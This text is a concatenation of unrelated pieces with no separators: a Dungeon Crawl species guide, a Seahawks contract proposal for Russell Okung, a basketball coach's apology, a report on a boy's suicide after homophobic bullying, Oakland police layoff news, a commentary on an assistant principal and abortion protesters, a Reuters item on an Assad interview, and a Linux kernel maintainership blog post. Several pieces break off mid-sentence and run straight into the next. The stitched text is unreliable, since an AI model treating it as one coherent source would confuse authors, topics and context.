Demonspawn mutation, addendum: There is a 1 in 10 chance that you will be a'monstrous' Demonspawn. The game will tell you this when you first mutate a body-slot. Monstrous Demonspawn do not get a skin-slot mutation, but instead mutate 3 body-slots instead of just one (for a total of 6 mutations of the course of a life instead of only 5). Djinn (Dj) [0.13 only]: Magical beings of fire; they are completely immune to all sources of fire (including hellfire and holy fire). They have no food clock and do not need to eat--they also do not have separate bars for HP and MP. Instead, these are combined into one bar called "Essence". Spells cost them more EP than they would cost MP, and instead of food, they cause magical contamination which can give Djinn temporary negative mutations. (Mutations derived from other sources are still semipermanent as usual). They also intrinsically have full resistance to negative energy (rN+++). However, they have a vulnerability to cold and will take 50% increased damage from it. They prefer longer weapons that demand a degree of finesse to simply hacking or stabbing, and armour rather than dodging; and they have a good affinity for certain types of magic over others (most notably fire and air magic). Interestingly, they also do not have feet, and can cross lava or water (regardless of depth) by hovering over it, though this reduces their speed. Draconians (Dr): Half-dragon humanoids who cannot wear any body armour. Their scales are usually tough enough to make up for this AC-wise, but that's an entire slot where you won't be able to get any magical plusses or resists. At level 7, they gain a color, which changes their skills/stats and also (usually) gives them a breath weapon. • Draconian colors, addendum: These can be what you expect, (red=fire, white=ice), what you might not expect (black=lightning, yellow=acid), apparently useless (pale=steam, green=poison), or just weird (mottled=napalm, purple=energy, grey=breathless). Each breath weapon has its own rules and restrictions, and even the seemingly-useless ones like steam breath can be excellent if played correctly. These colors also (as mentioned above) change their aptitudes, which retroactively affect their skills. See the Draconian Colors article on the wiki (http://crawl.chaosforge.org/Draconian#Colors) for more details, and don't think that you necessarily need to immediately give up just because you don't like what you got. Felids (Fe): It's a talking cat. They can't hold weapons, wear armour, use wands, or throw things. They make up for it by being fast on their paws, needing to eat less than normal, and dodging reasonably well. They also gain extra lives as they level, to a maximum of 9 lives...though they can only have 2 extra lives at a time. Gargoyle (Gr) [0.13 only]: It's a nonliving, walking, stony...thing. They're completely immune to petrification, and come with a suite of other resistances, like poison, and electricity; as well as some resistance to negative energy and torment, a slower-than-normal metabolism, and bonus AC that increases over their life, which is kinda neat altogether. They're also good with clubs and claws, and have a strong affinity for Earth Magic. They are also forbidden to begin as death knights; or to worship Yredelemnul at all. Ghouls (Gh): It's a zombie. They heal slowly, and they rot (temporarily lose max HP) as they walk around, making them tend to move rather quickly. They can eat meat whenever, and prefer to eat rotted meat (although regular meat is okay). Eating heals their HP directly, and has a chance to heal their rot (rotten meat does both better). They are decent hand-to-hand because of their claws, and certain branches of magic make them quite dangerous, but they can be in trouble if there are no corpses around. Plus, they're undead, which I'll discuss later. Halflings (Ha): It's a hobbit. Despite what you might remember from Tolkien, they don't need to eat as much as bigger races. They're very sneaky, and good with knives and slings. They also have an innate resistance to mutation, which may or may not be a good thing. High Elves (HE): Snooty and good with both weapons and magic, though not the purely-offensive magic of their Deep Elf cousins. High Elves prefer charms and buffs, and to kill things with long swords while dodging every attack aimed at them. They level slower than humans, though. Hill Orcs (HO): Orcs tend to be bullies, but they make great adventurers. They're excellent with armour, axes, and religion, making a zealot background a great choice. Orcs also have access to the Orc-god Beogh, which no other race may worship (in version 0.12 they can even start with this religion by picking Priest as a class). They have some skill at certain types of magic too, making them far from pushovers. Humans (Hu): As usual, humans are your standard jack-of-all-trades who level fast and can learn almost anything at about the same rate. This places them behind some of the more exotic races in a particular niche, but humans make excellent hybrids and can make up the difference by being flexible and adaptable, and are particularly good at using religion for all it's worth. Kobolds (Ko): They're small, they're sneaksy, and they can and will eat pretty much anything. Despite the cannon-fodder kobolds you wipe out *en masse* in the first few levels of the dungeon, Kobolds make damn fine adventurers, able to excel in most roles if played well. Their drawbacks are their size (they can't use some bigger weapons), and their fragility (a stiff wind can kill you if you aren't braced for it). Lava Orc (LO) [0.13 only]: A species of magma-men (*magmen*?) who look rocky, like cooled lava. They have similar attributes to Hill Orcs, but also incorporate a "heat" mechanic, which increases their move speed and affinity for fire magic as they heat up. They also emit enough heat to damage enemies that strike them, and at higher levels, they passively damage surrounding enemies, though this second effect is suppressed if worshipping Beogh. Heat is affected by tension. They can also superheat themselves instantly by berserking or going swimming in lava. At full heat, they fully resist fire damage, though they become vulnerable to cold; at these time they are unable to read scrolls, but they are very good at protecting scrolls from being destroyed by heat. Merfolk (Mf): Good with polearms (because you can't swing a mace underwater) and ice magic (related to the lost art of water magic), merfolk make excellent choices for adventurers, for both beginners and advanced players. Additionally, they don't have to worry about water being an obstacle (indeed, they are **more** agile and faster in water) and their aptitudes make them some of the best light-armoured hybrid-fighters in the game. Minotaurs (Mi): Minotaurs are your big, burly, beefy bastards. They like weapons, all weapons. They also prefer heavy armour, though they make competent dodgers, and are decent with religion as well. What they are bad at is magic. They make a good choice for beginners, able to bully their way through most situations by brute force, without having to deal with fiddly spells. Mummies (Mu): Mummies are a challenge race, plain and simple. Not having a food clock (at all) sounds awesome at first, but they are also incredibly squishy, and sitting on the first floor for a million turns doesn't work anymore. They level slowly and have wretched aptitudes for literally almost everything. They also have a weakness to fire, in addition to the usual 'perks' of being undead (see below), and are unable to drink potions, depriving them of the most common method of healing. They make good summoners or necromancers, but are best in the hands of an advanced player. Nagas (Na): Snake-people. They move very slowly and have trouble with armour, but they're immune to poison, great at sneaking, and altogether make pretty good mages or hybrids. They can also spit poison, which makes a useful subweapon in the early game, and they can use their tail to constrict an enemy for extra damage output. Ogres (Og): Generally a pretty challenging race. They're big, meaning they hunger quickly and don't fit in most armour, but they can swing huge clubs that other races can't even lift. They're very good at smashing things, and are surprisingly adept at the basics of magic, though higher-level spells tend to give them some trouble. Octopodes (Op): A magic-affine animal similar to a Felid, but this is an Octopus. Most armour isn't shaped to fit them (except hats!), but they're quite sneaky, and have an innate camoflage ability that makes them harder to spot. Their tendrils can constict up to 8 surrounding enemies, though they're squishy enough to generally avoid melee combat. They tend to make excellent mages, and can draw great power from the ability to wear up to 8 rings, instead of just 2. Sludge Elves (SE) [0.12 only; gone in 0.13]: An outcast breed who favor darker magics than other elves. They're handier in a fight than Deep Elves, but less so than High Elves, and they specialize in Transmutation and Necromancy. When forced into melee, they usually fight hand-to-hand, often taking advantage of transmutative gifts to give them the advantage. Spriggans (Sp): Spriggans are tiny fey, who run incredibly fast and are able to see invisible. They are incapable of eating meat, although their extremely small size means their metabolism can sustain this. They're too small to wear most armour or wield many weapons, and in general prefer to hold knives in melee, but they are extremely sneaky and good at many forms of magic, although spell hunger can be a problem if they aren't careful. Tengu (Te): Tengu are bird-people. They gain the ability to fly at level 5, and at level 15 they never need to stop flying. They cannot wear helmets (hats are OK though) or boots, but they are excellent with both weapons and offensive magic (specifically, conjurations and summoning), as well as having an affinity for Air Magic. However, they tend to be very fragile, so training defenses may be a good idea. Trolls (Tr): Trolls are big, ugly, furry, and stupid. They are also very, VERY strong. With their claws, they prefer Unarmed Combat (they get a huge bonus to it), and generally just like to rip apart and eat everything they come across. They have an intrinsic Gourmand and Saprovore effect, allowing them to eat any non-poisonous food anytime they want, even if it's rotted. However, they have an absurdly fast metabolism, meaning they actually *have* to eat pretty much everything they kill or risk starvation. Their intelligence is low and they're generally pretty terrible at magic. Vampires (Vp): Crawl's vampires are creatures who drink blood to become more alive. As they become thirsty, they become gradually more undead, meaning increased stealth, loss of active mutations, and slower regeneration. The more they drink, the more alive they become, allowing mutations to take effect, and regeneration to occur. A fully-blooded vampire regenerates health very quickly, but is unable to turn into a bat until he becomes undead again. They're generally a stealthy/stabby sort of race, with an affinity for magic and death. Also, they do not need to breathe. Unclear if they're affected by sunlight, since the game takes place underground. No, they don't sparkle. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Being undead in Crawl means invulnerability to some things that affect normal characters (like poison, negative energy, draining, or torment), but vulnerability to other things that either don't do anything extra to living beings (e.g. holy) or to things that don't affect living characters at all (e.g. dispel undead). Undead characters are unable to mutate (they rot, |
no, the franchise tag would not be a wise investment considering the amount of cap space it would gobble up in a year when a lot of the big contracts on defense begin to balloon. This matter needs addressed this year and the sooner, the better. So, what would a fair extension for both sides look like? Glad you asked.
The team has leverage, actually. The leverage being despite the enormity of Russ' rookie deal, this, the final year of it will see Okung pocket "only" $5M- 200K from a workout bonus and $4.8M in salary to be paid in installments beginning in September. A new deal with the satisfaction that comes from immediately-paid signing bonuses can look awfully nice to a player. Or anyone, for that matter. Would Russell be interested in an $8M check, paid out right the fuck now? Would the team be interested in clearing a little cap space this year? Yeah? Then let's do this! Here's how...
The first thing I want to do is tear up this final year of Okung's contract. Between the 4.8 salary, the.2 workout bonus and the 2.28 prorated signing bonus, his current cap number is $7.28M. Remember that. Tearing up the current agreement forces us to carry over only the $2.28M prorated bonus into any new deal. So how can we structure a deal that includes the carryover yet still reduces his 2015 cap cost? With another prorated signing bonus, of course!
The next thing to do is determine Okung's place in the tackle pecking order. Is he as good and reliable as Joe Thomas or Tyron Smith? No. Is he as crummy as Sam Baker or Eric Fisher? No. As good as Clady or Trent Williams? I'll say no. Worse than Dunlap or Bushrod? No. Is it fair to include him in a group with Brandon Albert, Duane Brown and Eugene Monroe? Yes, I believe it is. The APY for those three are 9.4M, 8.9 and 7.5, respectively. So we have the range with which to fit Okung.
I have decided on a contract that is 4 yrs/$35M (8.75 APY), with $15M guaranteed, including a $8M signing bonus. While a 5-year deal is entirely possible, Seattle seems to prefer to extend out to four years, so that's what we'll do here. As you know the devil is in the details, so we must craft the contract in a way that is amicable to both sides. Fortunately, this can be done. The breakdown of the contract looks like this:
Year 1.....$1M Base salary, $2M prorated signing bonus, $2.28 carryover from previous contract = $5.28 CAP Year 2.....$6M Base salary, $2M prorated signing bonus = $8M CAP Year 3.....$7M Base salary, $2M prorated signing bonus, $1M roster bonus, $1M per game bonus = $11M CAP Year 4.....$9M Base salary, $2M prorated signing bonus, $1M roster bonus, $1M per game bonus = $13M CAP
Guaranteed money includes the $8M signing bonus, $1M base salary in '15 and the $6M salary in '16.
Why is it good for the player? Russ gets a $8M check wired to his account from a "Paul Allen" and pockets $9M in 2015 as opposed to $5M. He also gets the security of a guaranteed contract in 2016, bringing his lifetime earnings to around $65M through 2016.
Why is it good for the team? Seattle saves a cool $2M in cap space in 2015, which could be the difference in getting a Wisniewski or a Guion to join the fray or at least create the room needed to extend Wilson/Wagner this year. They also lock up a talented left tackle and show the locker room that they will take care of their own, while simultaneously allowing the ever-expanding salary cap to withstand the incremental increases in Okung's cap costs.
So what about those contract details? The roster bonus and per-game bonus in yrs 3 and 4 provide the player with incentive to stay healthy and the team with the flexibility to move on if unfortunate circumstances continue to debilitate Okung's body. In year 3, the team has a decision to make- keep Okung at a $11M cap cost or cut ties, accrue $4M in dead money and save $7M in cap dollars. That could go either way and Russell's availability to play in '15 and '16 will decide it for the team. Year 4 is likely to see the player either be asked to take a pay cut or be released with minimal dead money damage, unless he plays lights out all three years and finds the health that has eluded him so far.
So there you have it- a contract extension for a top 8-to-12 left tackle that is pleasing to both player and team. Just lay off the gas station fish, ok Russ?
Follow me on the bullynet via Twitter @OhioHawk4372Chris Jans was recently fired from his role as the Bowling Green Falcons men's basketball head coach after his extremely inappropriate behavior at a bar in late March. One could imagine that it's been a rough time for Jans, and today an apology issued to USA Today was released.
"On March 21st I made a mistake for which I sincerely apologize. After our final loss of the season I went to a bar to be amongst friends, became intoxicated and proceeded to act in a manner which was inappropriate. I have tried to instill in every student I've coached the importance of taking responsibility for one's actions, and that is what I am trying to do now.
"I have been completely forthcoming and honest with the Bowling Green State University administration during this process. I immediately made efforts to apologize to those offended that evening including the woman who approached me that night to chastise me for my conduct. Although I have already apologized to my wife, my family, my players and coaches, I want to now publicly apologize to everyone else, including any one in the BGSU community who may have been affected by this matter — I am truly sorry.
"Finally, I want to thank BGSU for giving me the opportunity to be its head basketball coach. I plan to use the future months and years to improve myself as an individual and to show them that their faith in me as a coach, and a person, was not unwarranted."Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A 12-year-old male cheerleader has taken his own life after horrific homophobic bullying.
Ronin Shimizu was a student at Folsom Middle School in Folsom, California, where he was bullied for being the only male on an all-female cheerleading team.
The boy had been a part of Vista Junior Eagles Cheer Team – but he was recently removed from Folsom to be home-schooled.
He took his own life on Wednesday.
Police have not released the full details of the death, other than to confirm that it is not being treated as suspicious – but a number of news outlets are reporting it was suicide.
One fellow cheerleader told CBS: “I didn’t see why people would tease him because he was so nice.
Another added: “I heard that people called him gay because he was a cheerleader.”
The Eagles said in a statement: “Tragically, we lost one of our own yesterday, Ronin Shimizu.
“Please support his family through this extremely difficult time and keep watching our website on how you can help this situation. Please keep all of them in your thoughts and prayers.”
Daniel Thigpen of Folsom Cordova School District confirmed the boy’s family had reported bullying on more than one occasion.
He said: “Any allegations bullying related to this specific incident, we’re certainly reviewing how we responded to those and we’ll use that as an opportunity to always take a look at how we respond to future allegations.”
A letter to parents from Folsom Principal John Bliss said: “This news has deeply saddened many of our students and staff who knew him.
“Today we have and will continue to provide counselling and support to students and staff who need assistance dealing with their grief.
“While we do not know all of the circumstances surrounding Ronin’s passing, we will continue our work to maintain a safe, caring and positive school environment free from bullying and harassment.”
If you have been affected by any of the issues raised in this article and need to talk to someone, visit samaritans.org or call 08457 90 90 90.Oakland votes to lay off 80 police officers OAKLAND
Oakland Mayor Ron Dellums addresses the City Council, Thursday June 24, 2010, at the Oakland City Hall in Oakland, Calif. Dellums pleaded with the council not to lay off police officers. Oakland Mayor Ron Dellums addresses the City Council, Thursday June 24, 2010, at the Oakland City Hall in Oakland, Calif. Dellums pleaded with the council not to lay off police officers. Photo: Lacy Atkins, The Chronicle Photo: Lacy Atkins, The Chronicle Image 1 of / 8 Caption Close Oakland votes to lay off 80 police officers 1 / 8 Back to Gallery
The Oakland City Council voted Thursday to lay off 80 of the Police Department's 776 officers as it slashed at a $30.5 million budget deficit. The decision could be rescinded if the police union agrees to pension concessions.
Council members would like the officers to contribute 9 percent of their salaries toward their CalPERS pension, the same as every other city union worker.
Union leaders and city officials are set to negotiate Sunday and Monday, a move some interpreted as a sign the union was willing to change its position.
"I'm confident that we can have an agreement by July 15," said Councilwoman Jean Quan, who voted for the measure, which passed 5-3. "No one cancels their weekend unless they plan to negotiate."
Sgt. Dom Arotzarena, the union president, would only say, "It's not over yet."
The union was under relentless attack all night from council members and a wide range of speakers, who called it a matter of fairness that the police union be treated like the other city unions.
"Police unions needs cuts too!" said a sign held by Lydia Kosmos, 20, a lifelong Oakland resident who works at the Montclair Recreation Center.
"Quite frankly, our pension program that allows any employee to retire at $100,000 a year at age 50 is unsustainable," Quan said.
But police union officials see it differently.
They see a city that squandered money in good times and now is coming to employees to make up the difference. Firefighters pay into their pensions, but they were given a salary increase to make up the difference, Arotzarena said.
If police do not agree to the pension request, the council's layoff plan Thursday is a gamble.
It assumes that voters will pass a ballot measure in November that will suspend for three years a mandate that the Police Department have 739 officers. Without that suspension, the city will lose $20 million a year in police funding from a parcel tax that voters approved in 2004.
If the measure passes, an additional 27 officers would have to be laid off Jan. 1.
The council is also considering a parcel tax that would cost each single-family home about $360 and bring in about $50 million.
If the parcel tax and the minimum staffing measures both fail, the city would be forced to lay off 202 officers by Jan. 1.
Oakland has been reconciling itself to the worst economy in 70 years.
Like other cities around the state, Oakland's property, sales and property transfer tax revenues have dried up during the Great Recession. The city's $407 million budget represents a revenue decline of $69 million in just five years.
At the same time, the city has been treating police and fire budgets as all but sacrosanct. As other city departments have been steadily whittled back, Oakland's budget has been increasingly dominated by public safety expenses.
In 2005-06, police and fire accounted for 61 percent of the budget, according to City Administrator Dan Lindheim. For 2010-11, they will account for 75 percent.
Debt payments account for another 11 percent of the budget, and voter-mandated spending for children's programs and libraries ties up 6 percent. That leaves just $25 million in discretionary spending - or $5.5 million less than the deficit that needs to be eliminated.
"There's just very little left to cut," Lindheim said.
Firefighters have a no-layoff clause in their contract, so council members and Mayor Ron Dellums have said they have no choice but to lay off police. However, they also have promised to hold off for at least five months - until ballot measures to boost police funding can be brought before voters - if officers agree to concessions on their pensions.
The Oakland Police Officers Association is seeking at least a two-year guarantee of no layoffs in return for pension concessions, something the council has been unwilling to do because future years have greater deficits.
"We have to look at the next five years and put this city in a position where we start correcting this incredible structural deficit," said Councilman Ignacio De La Fuente, a longtime labor leader.Two home-schooled teens protesting abortion on a sidewalk in front of a Pennsylvania school were confronted by the assistant principal, who told them they and President Trump could go to hell, along with the aborted fetuses they called “image bearers of God.”
"You and Trump can go to hell": Asst. principal on leave after argument with teen abortion protesters https://t.co/NMHwHjdb4n — Washington Post (@washingtonpost) May 6, 2017
The incident occurred in April in front of STEM Academy in Downingtown, Pa. Assistant principal Zachary Ruff was caught on video confronting the brother and sister, telling them, “I’m as gay as the day is long and twice as sunny. I don’t give a f— what you think Jesus tells me.”
He also denied the protesters’ assertion that abortion constituted a holocaust, not that there isn’t one going on in 2017: “If you want to talk about a holocaust happening in America, go into an inner city, and talk to the poor and underprivileged.”
The Washington Posts’ followers on Twitter were largely in agreement that Ruff, who was placed on administrative leave, was a hero.
@washingtonpost Man is a big damn hero – he should be awarded, not fired. — Michelle Parlett (@muppetwoman) May 6, 2017
According to the report, he wasn’t fired, and the school district says it will follow all policies and procedures for internal personnel matters.
@washingtonpost This man is my hero! Church and State are separated. If you want religion values go to damn religion school. Take your propaganda elsewhere — Ruby Weapon (@yourknownenemy) May 6, 2017
@washingtonpost Good for him. No one has to tolerate uninformed, willfully ignorant nonsense like the kind those kids were spewing. I hope he wins! — Jeana Mamer (@JeanaMamer) May 6, 2017
@washingtonpost Man is a hero. Shameful to put him on leave for protecting his students. — Michael St. Charles (@stchar1201) May 6, 2017
@washingtonpost I stand with him. — Cynthia Shaffer (@cyndie9172) May 6, 2017
Not all heroes wear capes; some wear khakis and school ID lanyards.
@washingtonpost He should be sent to school himself to learn how to be an adult. — Dr. Rick L. Hoover (@bornagainlosers) May 6, 2017
He did seem a bit easily triggered; why so anxious to protect his students from a “graphic” photo of nothing but cells? The students have studied cells, right?
@washingtonpost Well that is a very adult way for an Asst Principle to talk to students he disagrees with. "Go to hell" is always a great discussion starter — Tim Dykstra (@Timothydykstra) May 6, 2017
“Go to hell” doesn’t sound like the outburst of an educator representing a science-based school, but he did score 100 percent on the “child or clump of cells” multiple-choice question, so there’s that.
@washingtonpost Love how Americans say "We have free speech", as long as it's not in this place or too loud or an opposing view or it offends me it's okay. — NeverGoFullRetard (@DonaldRetard) May 6, 2017
* * *
Related:WASHINGTON (Reuters) - Fox News will broadcast an interview with Syrian President Bashar al-Assad on Wednesday evening, the television network said, a session that former U.S. lawmaker Dennis Kucinich helped secure.
Syria's President Bashar al-Assad (centre, on R) meets Russian deputy Foreign Minister Sergei Ryabkov (centre, on L) in Damascus, in this handout photograph distributed by Syria's national news agency SANA on September 18, 2013. REUTERS/SANA/Handout via Reuters
Kucinich, a liberal Democrat and eight-term congressman who is now a commentator for Fox News, was present for the interview on Tuesday in Damascus along with Fox senior correspondent Greg Palkot, the network said in a statement.
It was Assad’s second question and answer session with an American network this month. In the earlier interview televised by PBS and CBS on September 9, Assad denied he was behind a chemical weapons attack outside Damascus on August 21.
Kucinich, who was a vocal opponent of the Iraq war while he was a member of Congress, more recently has argued against the United States getting involved in Syria’s civil war. He had visited Assad twice before.
“On Saturday, September 7, Fox News contributor Dennis Kucinich advised me that he believed he could secure an interview with Syrian President Bashar al-Assad, whom he had met on previous occasions,” Michael Clemente, Fox News’ Executive Vice President, News, said in the statement.
“At the time, it appeared that an American military attack on Syria was imminent, and I decided that Kucinich should pursue the interview, on condition that Fox News journalists would also be included,” Clemente said.
When the interview happened, Palkot “conducted the interview beside Kucinich and I was present in the control room and studio at the Presidential Palace in Damascus for the duration,” Clemente said.
“Kucinich was not there in the capacity of a journalist nor was he representing Fox News in that role,” Clemente added.
Last month, Kucinich was quoted as warning that any U.S. air strikes on Assad’s forces could effectively turn the U.S. military into “al Qaeda’s air force” because al Qaeda-linked groups are among the rebels fighting Assad.
President Barack Obama threatened action against Syria after the August 21 chemical weapons attack. But Obama put military action on indefinite hold after the United States and Russia reached a deal last weekend calling for Syria to account for its chemical weapons and to agree to their destruction by mid-2014.
Kucinich’s 16-year congressional career ended last year when he lost the Democratic primary in his redrawn Ohio district. He also unsuccessfully sought the Democratic presidential nomination in 2004 and 2008.This is the write-up of my talk at LCA 2017 in Hobart. It’s not exactly the same, because this is a blog and not a talk, but the same contents. The slides for the talk are here, and I will link to the video as soon as it is available. Update: Video is now uploaded.
Linux Kernel Maintainers
First let’s look at how the kernel community works, and how a change gets merged into Linus Torvalds’ repository. Changes are submitted as patches to mailing list, then get some review and eventually get applied by a maintainer to that maintainer’s git tree. Each maintainer then sends pull request, often directly to Linus. With a few big subsystems (networking, graphics and ARM-SoC are the major ones) there’s a second or third level of sub-maintainers in. 80% of the patches get merged this way, only 20% are committed by a maintainer directly.
Most maintainers are just that, a single person, and often responsible for a bunch of different areas in the kernel with corresponding different git branches and repositories. To my knowledge there are only three subsystems that have embraced group maintainership models of different kinds: TIP (x86 and core kernel), ARM-SoC and the graphics subsystem (DRM).
The radical change, at least for the kernel community, that we implemented over a year ago for the Intel graphics driver is to hand out commit rights to all regular contributors. Currently there are 19 people with commit rights to the drm-intel repository. In the first year of ramp-up 70% of all patches are now committed directly by their authors, a big change compared to how things worked before, and still work everywhere else outside of the graphics subsystem. More recently we also started to manage the drm-misc tree for subsystem wide refactorings and core changes in the same way.
I’ve covered the details of the new process in my Kernel Recipes talk “Maintainers Don’t Scale”, and LWN has covered that, and a few other talks, in their article on linux kernel maintainer scalability. I also covered this topic at the kernel summit, again LWN covered the group maintainership discussion. I don’t want to go into more detail here, mostly because we’re still learning, too, and not really experts on commit rights for everyone and what it takes to make this work well. If you want to enjoy what a community does who really has this all figured out, watch Emily Dunham’s talk “Life is better with Rust’s community automation” from last year’s LCA.
What we are experts on is the Linux Kernel’s maintainer model - we’ve run things for years with the traditional model, both as single maintainers and small groups, and now gained the outside perspective by switching to something completely different. Personally, I’ve come to believe that the maintainer model as implemented by the kernel community just doesn’t scale. Not in the technical sense of big-O scalability, because obviously the kernel community scales to a rather big size. Much larger organizations, entire states are organized in a hierarchical way, the kernel maintainer hierarchy is not anything special. Besides that, git was developed specifically to support the Linux maintainer hierarchy, and git won. Clearly, the linux maintainer model scales to big numbers of contributors. Where I think it falls short is the constant factor of how efficiently contributions are reviewed and merged, especially for non-maintainer contributors. Which do 80% of all patches.
Cult of Busy
The first issue that routinely comes out when talking about maintainer topics is that everyone is overloaded. There’s a pervasive spirit in our industry (especially in the US) hailing overworked engineers as heroes, with an entire “cult of busy” around. If you have time, you’re a slacker and probably not worth it. Of course this doesn’t help when being a maintainer, but I don’t believe it’s a cause of why the Linux maintainer model doesn’t work. This cult of busy leads to burnout, which is in my opinion a prime risk when you’re an open source person. Personally I’ve gone through a few difficult phases until I understood my limits and respected them. When you start as a maintainer for 2-3 people, and it increases to a few dozen within a couple of years, then getting a bit overloaded is rather natural - it’s a new job, with a different set of responsibilities and I had no clue about a lot of things. That’s no different from suddenly being a leader of a much bigger team anywhere else. A great talk on this topic is “What part of “… for life” don’t you understand?” from Jacob Kaplan-Moss since it’s by a former maintainer. It also contains a bunch of links to talks on burnout specifically. Ignoring burnout is not healthy, or not knowing about the early warning signs, it is rampant in our communities, but for now I’ll leave it at that.
Boutique Trees and Bus Factors
The first issue I see is how maintainers usually are made: You scratch an itch somewhere, write a bit of code, suddenly a few more people find it useful, and “tag” you’re the maintainer. On top, you often end up being stuck in that position “for life”. If the community keeps growing, or your maintainer becomes otherwise busy with work&life, you have your standard-issue overloaded bottleneck.
That’s the point where I think the kernel community goes wrong. When other projects reach this point they start to build up a more formal community structure, with specialized roles, boards for review and other bits and pieces. One of the oldest, and probably most notorious, is Debian with its constitution. Of course a small project doesn’t need such elaborate structures. But if the goal is world domination, or at least creating something lasting, it helps when there’s solid institutions that cope with people turnover. At first just documenting processes and roles properly goes a long way, long before bylaws and codified decision processes are needed.
The kernel community, at least on the maintainer side, entirely lacks this.
What instead most often happens is that a new set of ad-hoc, chosen-by-default maintainers start to crop up in a new level of the hierarchy, below your overload bottleneck. Because becoming your own maintainer is the only way to help out and to get your own features merged. That only perpetuates the problem, since the new maintainers are as likely to be otherwise busy, or occupied with plenty of other kernel parts already. If things go well that area becomes big, and you have another git tree with another overloaded maintainer. More often than not people move around, and accumulate small bits allover under their maintainership. And then the cycle repeats.
The end result is a forest of boutique trees, each covering a tiny part of the project, maintained by a bunch of notoriously overloaded people. The resulting cross-tree coordination issues are pretty impressive - in the graphics subsystem we fairly often end up with with simple drivers that somehow need prep patches in 5 different trees before you can even land that simple driver in the graphics tree.
Unfortunately that’s not the bad part. Because these maintainers are all busy with other trees, or their work, or life in general, you’re guaranteed that one of them is not available at any given time. Worse, because their tree has relatively little activity because it covers a small area, many only pick up patches once per kernel release, which means a built-in 3 month delay. That’s all because each tree and area has just one maintainer. In the end you don’t even need the proverbial bus to hit anyone to feel the pain of having a single point of failure in your organization - there’s so many maintainer trees around that that absence always happens, and constantly.
Of course people get fed up trying to get features merged, and often the fix is trying to become a maintainer yourself. That takes a while and isn’t easy - only 20% of all patches are authored by maintainers - and after the new code landed it makes it all worse: Now there’s one more semi-absent maintainer with one more boutique tree, adding to all the existing troubles.
Checks and Balances
All patches merged into the Linux kernel are supposed to be reviewed, and rather often that review is only done by the maintainers who merges the patch. When maintainers send out pull requests the next level of maintainers then reviews those patch piles, until they land in Linus’ tree. That’s an organization where control flows entirely top-down, with no checks and balances to reign in maintainers who are not serving their contributors well. History of dicatorships tells us that despite best intentions, the end result tends to heavily favour the few over the many. As a crude measure for how much maintainers subject themselves to some checks&balances by their peers and contributors I looked at how many patches authored and committed by the same person (probably a maintainer) do not also carry a reviewed or acked tag. For the Intel driver that’s less than 3%. But even within the core graphics code it’s only 5%, and that covers the time before we started to experiment with commit rights for that area. And for the graphics subsystem overall the ratio is still only about 25%, including a lot of drivers with essentially just one contributor, who is always volunteered as the maintainer, and hence somewhat natural that those maintainers lack reviewers.
Outside of graphics only roughly 25% of all patches written by maintainers are reviewed by their peers - 75% of all maintainer patches lack any kind of recorded peer review, compared to just 25% for graphics alone. And even looking at core areas like kernel/ or mm/ the ratio is only marginally better at about 30%. In short, in the kernel at large, peer review of maintainers isn’t the norm.
And there’s nothing outside of the maintainer hierarchy that could provide some checks and balance either. The only way to escalate disagreement is by starting a revolution, and revolutions tend to be long, drawn-out struggles and generally not worth it. Even Debian only recently learned that they lack a way to depose maintainers, and that maybe going maintainerless would be easier (again, LWN has you covered).
Of course the kernel is not the only hierarchy where there’s no meaningful checks and balances. Professor at universities, and managers at work are in a fairly similar position, with minimal options for students or employers to meaningfully appeal decisions. But that’s a recognized problem, and at least somewhat countered by providing ways to provide anonymous feedback, often through regular surveys. The results tend to not be all that significant, but at least provide some control and accountability to the wider masses of first-level dwellers in the hierarchy. In the kernel that amounts to about 80% of all contributions, but there’s no such survey. On the contrary, feedback sessions about maintainer happiness only reinforce the control structure, with e.g. the kernel summit featuring an “Is Linus happy?” session each year.
Another closely related aspect to all this is how a project handles personal conflicts between contributors. For a very long time Linux didn’t have any formal structures in this area either, with the only options available to unhappy people to either take it or leave it. Well, or usurping a maintainer with a small revolution, but that’s not really an option. For two years we’ve now had the “Code of Conflict”, which de facto just throws up its hands and declares that conflict are the normal outcome, essentially just encoding the status quo. Refusing to handle conflicts in a project with thousands of contributors just doesn’t work, except that it results in lots of frustration and ultimately people trying to get away. Again, the lack of a poised board to enforce a strong code of conduct, independent of the maintainer hierarchy, is in line with the kernel community unwillingness to accept checks and balances.
Mesh vs. Hierarchy
The last big issue I see with the Linux kernel model, featuring lots of boutique trees and overloaded maintainer, is that it seems to harm collaboration and integration of new contributors. In the Intel graphics, driver maintainers only ever reviewed a small minority of all patches over the last few years, with the goal to foster direct collaboration between contributors. Still, when a patch was stuck, maintainers were the first point of contact, especially, but not only, for newer contributors. No amount of explaining that only the lack of agreement with the reviewer was the gating factor could persuade people to fully collaborate on code reviews and rework the code, tests and documentation as needed. Especially when they’re coming with previous experience where code review is more of a rubber-stamp step compared to the distributed and asynchronous pair-programming it often resembles in open-source. Instead, new contributors often just ended up falling back to pinging maintainers to make a decision or just merge the patches as-is.
Giving all regular contributors commit rights and fully trusting them to do the right thing entirely fixed that: If the reviewer or author have commit rights there’s no easy excuse anymore to involve maintainers when the author and reviewer can’t reach agreement. Of course that requires a lot of work in mentoring people, making sure requirements for merging are understood and documented, and automating as much as possible to avoid screw ups. I think maintainers who lament their lack of review bandwidth, but also state they can’t trust anyone else aren’t really doing their jobs.
At least for me, review isn’t just about ensuring good code quality, but also about diffusing knowledge and improving understanding. At first there’s maybe one person, the author (and that’s not a given), understanding the code. After good review there should be at least two people who fully understand it, including corner cases. And that’s also why I think that group maintainership is the only way to run any project with more than one regular contributor.
On the topic of patch review and maintainers, there’s also the habit of wholesale rewrites of patches written by others. If you want others to contribute to your project, then that means you need to accept other styles and can’t enforce your own all the time. Merging first and polishing later recognizes new contributions, and if you engage newcomers for the polish work they tend to stick around more often. And even when a patch really needs to be reworked before merging it’s better to ask the author to do it: Worst case they don’t have time, best case you’ve improved your documentation and training procedure and maybe gained a new regular contributor on top.
A great take on the consequences of having fixed roles instead of trying to spread responsibilities more evenly is Alice Goldfuss’ talk “Rock Stars, Builders, and Janitors: You’re doing it wrong”. I also think that rigid roles present a bigger bar for people with different backgrounds, hampering diversity efforts and in the spirit of Sage Sharp’s post on what makes a good community, need to be fixed first.
Towards a Maintainer’s Manifest
